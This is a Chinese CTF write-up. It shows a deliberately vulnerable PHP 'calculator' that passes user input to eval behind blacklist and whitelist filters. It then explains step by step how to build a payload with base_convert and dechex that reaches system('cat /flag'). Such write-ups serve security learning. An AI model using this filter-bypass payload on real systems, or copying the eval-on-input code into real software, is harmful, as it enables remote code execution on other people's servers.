<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

知识要点

在php中，要知道可以将函数名通过字符串传递给变量，然后通过变量去动态调试php，如：
$a = "system";
$c = $a("dir");
echo $c 

base_convert():任意进制转换
bin2hex():十六进制值的字符串转换为 ASCII 字符
hex2bin(): ASCII 字符转换为 十六进制值的字符串
dechex():十进制转换为十六进制
hexdec():十六进制转换为十进制

通过题目，传进的参数长度要小于80，不能用数学函数以外的字符串，还过滤了中括号，反引号，单引号，双引号，空格等特殊字符，而我们想要访问flag，必须要使用字符，通过搜索数学函数，有的函数可以将数字转换为字符，利用这一点构造payload。

首先构造一个_GET[],中括号可以被大括号代替，使用 hex2bin 将字符串的 16 进制形式转换成原始字符串，而hex2bin不在白名单内，所以通过base_convert()函数进行输出

echo base_convert("hex2bin",36,10);         //37907361743
echo base_convert("37907361743",10,36);     //hex2bin

将_GET转换为16进制

echo bin2hex("_GET");                     //5f474554
echo hex2bin("5f474554");                 //_GET

但问题来了？5f474554是字符型，要将这个字符转换为整数型，hexdec() , dechex()

echo hexdec("5f474554")              //1598506324 
echo dechex(1598506324);             //5f474554

payload:

$_GET[a]($_GET[b]);&a=system&b=cat /flag;

base_convert("37907361743",10,36)(dechex(1598506324))=_GET

带入

?c=${1}=base_convert(37907361743,10,36)(dechex(1598506324));($${1}){2}(($${1}){3})&2=system&3=cat /flag

${1} = _GET
$${1} = $_GET
$${1}{2} = $_GET{2}
($${1}{3}) = ($_GET{3})

$${1}{2}($${1}{3}) = $_GET{2}($_GET{3})

变量要选白名单里的且长度短的或者用数字代替，不然长度太长